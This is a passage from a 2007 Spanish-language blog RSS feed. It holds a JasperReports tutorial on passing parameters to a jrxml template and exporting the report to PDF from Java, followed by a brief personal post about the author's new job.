&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">leftMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">rightMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">topMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">bottomMargin</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
<br />
<span class="sc3"><span class="re1">&lt;/jasperReport<span class="re2">&gt;</span></span></span></div></div>
<p>Si te das cuenta, se le han especificado algunas propiedades, tales como el ancho, el largo y los márgenes de la pagina, estos datos corresponden a una hoja tamaño carta, los márgenes los puedes poner al gusto, dependiendo tus necesidades.</p>
<p><strong>Los parametros</strong><br />
Ahora viene una de las partes mas importantes de este tutorial, y es que continuación se define dentro de la plantilla los parámetros a utilizar, hay que aclarar que los parámetros no es el contenido principal del reporte, simplemente es información útil para mostrar en el reporte, por ejemplo la fecha en que se genera el reporte, o el periodo que se esta desplegando en el reporte, el autor o cosas semejantes, son parámetros importantes del reporte, pero no la información principal del reporte, con esto en cuenta se definen los parámetros a utilizar.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_INSTITUCION&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_FACULTAD&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_CARRERA&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span></div></div>
<p>Como puedes ver se utiliza la etiqueta <strong>&lt;parameter /&gt;</strong> la cual tiene dos propiedades, <strong>name</strong> que es el nombre o identificador con la que se hará referencia, y <strong>el tipo de dato</strong> que es, en este caso String, es importante mencionar que se debe escribir el paquete exacto donde se encuentra la clase.</p>
<p><strong>La cabecera</strong><br />
Para la cabecera se mostrara el nombre de la institución en letras grandes y sobresalientes, se dibujara una línea horizontal debajo del nombre de la institución, se mostrara la facultad y la carrera. Todo esto lo pondremos dentro de la sección <strong>&lt;title/&gt;</strong> ya que esta únicamente se muestra una vez en el reporte, si existiese mas de una página, esto se muestra solo en la primera.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;title<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;50&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="coMULTI">&lt;!-- AQUI DECLARAMOS EL CONTENIDO --&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/title<span class="re2">&gt;</span></span></span></div></div>
<p>El único detalle a comentar es que se ha declarado la propiedad height de &#8220;50&#8243;, esto significa que todo el contenido debe ser menor o igual a 50 pixeles, es importante tener en cuenta este dato y no superarlo con el contenido, de lo contrario tendremos un error a la hora de compilar el jrxml.</p>
<p>Como el texto será dinámico, pues desde nuestra aplicación le pasaremos la información, utilizaremos un <strong>textField</strong>, declarándolo de esta manera.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;30&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">isBold</span>=<span class="st0">&quot;true&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$P{P_INSTITUCION}]]&gt;</span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span></div></div>
<p>El código esta más que entendible, primero se especifica las coordenadas y dimensiones del textField, opcionalmente se da formato a la tipografía del textField mediante el bloque<strong> &lt;textElement&gt; </strong>por último la parte más importante, la expresión que contendrá el textField <strong>&lt;textFieldExpression&gt;</strong>, es importante mencionar que se debe especificar la clase que contendrá esta expresión, en este caso es un String, dentro de CDATA se puede concatenar inclusive varios parámetros, en este caso solo estamos poniendo el parámetro P_INSTITUCION.</p>
<p>Una cosa mas que conviene mencionar es que para poder acceder a los parámetros se hace mediante $P{NOMBRE_DEL_PARAMETRO} dende se sustituye el nombre del parámetro que se quiera accesar.</p>
<p>Es el turno de hacer una línea, es muy sencillo, simplemente hacemos lo siguiente.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;line</span> <span class="re0">direction</span>=<span class="st0">&quot;TopDown&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;29&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;0&quot;</span> <span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;/line<span class="re2">&gt;</span></span></span></div></div>
<p>Aquí solo se declara la linea mediante la etiqueta<strong> &lt;line&gt;</strong> luego le especificamos las coordenadas y dimensiones donde estará posicionada.</p>
<p>Para los otros dos parámetros se hace exactamente igual que el anterior, con la diferencia que se le cambian las coordenadas, dimensiones, formato de letra y pasarle el parámetro correcto.</p>
<p>Al final el jrxml debe quedar algo asi:</p>
<div class="codecolorer-container xml" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;?xml</span> <span class="re0">version</span>=<span class="st0">&quot;1.0&quot;</span><span class="re2">?&gt;</span></span><br />
<span class="sc0">&lt;!DOCTYPE jasperReport</span><br />
<span class="sc0">&nbsp; PUBLIC &quot;-//JasperReports//DTD Report Design//EN&quot;</span><br />
<span class="sc0">&nbsp; &quot;http://jasperreports.sourceforge.net/dtds/jasperreport.dtd&quot;&gt;</span><br />
<span class="sc3"><span class="re1">&lt;jasperReport</span> <span class="re0">name</span>=<span class="st0">&quot;plantilla&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">pageWidth</span>=<span class="st0">&quot;595&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">pageHeight</span>=<span class="st0">&quot;842&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">leftMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">rightMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">topMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="re0">bottomMargin</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
<br />
&nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_INSTITUCION&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_FACULTAD&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_CARRERA&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<br />
&nbsp; <span class="sc3"><span class="re1">&lt;title<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;50&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;30&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">isBold</span>=<span class="st0">&quot;true&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <span class="sc2">&lt;![CDATA[$P{P_INSTITUCION}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;line</span> <span class="re0">direction</span>=<span class="st0">&quot;TopDown&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;29&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;0&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/line<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textField</span> <span class="re0">isStretchWithOverflow</span>=<span class="st0">&quot;false&quot;</span> <span class="re0">isBlankWhenNull</span>=<span class="st0">&quot;false&quot;</span> <span class="re0">evaluationTime</span>=<span class="st0">&quot;Now&quot;</span> <span class="re0">hyperlinkType</span>=<span class="st0">&quot;None&quot;</span>&nbsp; <span class="re0">hyperlinkTarget</span>=<span class="st0">&quot;Self&quot;</span> <span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;30&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;250&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <span class="sc2">&lt;![CDATA[$P{P_FACULTAD}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textField</span> <span class="re0">isStretchWithOverflow</span>=<span class="st0">&quot;false&quot;</span> <span class="re0">isBlankWhenNull</span>=<span class="st0">&quot;false&quot;</span> <span class="re0">evaluationTime</span>=<span class="st0">&quot;Now&quot;</span> <span class="re0">hyperlinkType</span>=<span class="st0">&quot;None&quot;</span>&nbsp; <span class="re0">hyperlinkTarget</span>=<span class="st0">&quot;Self&quot;</span> <span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;260&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;30&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;270&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textElement</span>&nbsp; <span class="re0">textAlignment</span>=<span class="st0">&quot;Right&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <span class="sc2">&lt;![CDATA[$P{P_CARRERA}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp;&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span>&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;/title<span class="re2">&gt;</span></span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;detail<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;200&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;/detail<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/jasperReport<span class="re2">&gt;</span></span></span></div></div>
<p>Una vez diseñado el reporte se necesita compilar y generar el archivo jasper, luego se  le pasan los parámetros y se exporta al formato deseado, en este caso se exportara a PDF.</p>
<p>El código necesario para realizar lo anterior es muy sencillo, es el siguiente.</p>
<div class="codecolorer-container java" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">package</span> pruebas;<br />
<br />
<span class="co2">import java.util.HashMap;</span><br />
<span class="co2">import java.util.Map;</span><br />
<br />
<span class="co2">import net.sf.jasperreports.engine.JREmptyDataSource;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JRException;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperCompileManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperExportManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperFillManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperPrint;</span><br />
<br />
<br />
<span class="kw2">public</span> <span class="kw2">class</span> JasperReport2<span class="br0">&#123;</span><br />
&nbsp; <span class="kw2">public</span> <span class="kw2">static</span> <span class="kw4">void</span> main<span class="br0">&#40;</span><span class="kw3">String</span><span class="br0">&#91;</span><span class="br0">&#93;</span> args<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
<br />
&nbsp; &nbsp; <span class="kw2">try</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//1. Se compila el reporte</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; JasperCompileManager.<span class="me1">compileReportToFile</span><span class="br0">&#40;</span><span class="st0">&quot;plantilla.jrxml&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//2. Se llena el reporte con la informacion necesaria</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">Map</span> pars = <span class="kw2">new</span> <span class="kw3">HashMap</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;P_INSTITUCION&quot;</span>, <span class="st0">&quot;Universidad de Montemorelos&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;P_FACULTAD&quot;</span>, <span class="st0">&quot;Facultad de Ingeniería Tecnología&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;P_CARRERA&quot;</span>, <span class="st0">&quot;Ingeniería en Sistemas Computacionales&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; JasperPrint jasperPrint = JasperFillManager.<span class="me1">fillReport</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;plantilla.jasper&quot;</span>, pars, <span class="kw2">new</span> JREmptyDataSource<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//3. Se exporta a PDF</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; JasperExportManager.<span class="me1">exportReportToPdfFile</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jasperPrint, <span class="st0">&quot;plantilla.pdf&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">System</span>.<span class="me1">out</span>.<span class="me1">println</span><span class="br0">&#40;</span><span class="st0">&quot;Done!&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw2">catch</span> <span class="br0">&#40;</span>JRException e<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; e.<span class="me1">printStackTrace</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="br0">&#125;</span><br />
<br />
<br />
<span class="br0">&#125;</span></div></div>
<p>Si te has dado cuenta, en el punto numero dos, se ha creado un HashMap, donde como llave contiene el nombre del parámetro, esto es muy importante, especificarle correctamente el nombre, de lo contrario no sucederá nada.</p>
<p>Pues bien, esto ha sido todo por hoy, creo que con esto queda claro como pasar parámetros a un reporte.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2007/10/01/enviar-parametros-a-un-reporte-en-jasperreport/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2007/10/01/enviar-parametros-a-un-reporte-en-jasperreport/</feedburner:origLink></item>
		<item>
		<title>En el trabajo</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/U25Fx8JcDKg/</link>
		<comments>http://www.crysfel.com/index.php/2007/09/13/en-el-trabajo/#comments</comments>
		<pubDate>Fri, 14 Sep 2007 02:20:43 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2007/09/13/en-el-trabajo/</guid>
		<description><![CDATA[Hace ya un buen rato que no actualizo mi blog, y es que realmente he andado ocupado que ni tiempo me ha quedado de siquiera entrar a revisar los comentarios que han dejado últimamente (No son muchos jejejejeje).
Resulta que el viernes de la semana pasada comencé a trabajar, y pues todo el día estoy ocupado [...]]]></description>
			<content:encoded><![CDATA[<p>Hace ya un buen rato que no actualizo mi blog, y es que realmente he andado ocupado que ni tiempo me ha quedado de siquiera entrar a revisar los comentarios que han dejado últimamente (No son muchos jejejejeje).</p>
<p>Resulta que el viernes de la semana pasada comencé a trabajar, y pues todo el día estoy ocupado en el trabajo, lo peor del caso es que en la casa donde estoy no tengo conexión a internet, ese ha sido el motivo principal de la des actualización de este blog.</p>
<p>Bueno, resulta que en mi nuevo trabajo me han asignado hacer un gran número de reportes, le he batallado un poco con la información a desplegar pues no cuento con el diagrama de la base de datos, así que me estoy haciendo pelotas, pero ahí la llevo, lo mejor de todo es que estoy preparando poco a poco el segundo tutorial de JasperReports, en estos últimos días he aprendido varias cosas que me gustaría compartir con ustedes mediante este blog, espero sigan pendientes, al menos por las FEEDs.</p>
<p>Saludos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2007/09/13/en-el-trabajo/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2007/09/13/en-el-trabajo/</feedburner:origLink></item>
	</channel>
</rss>
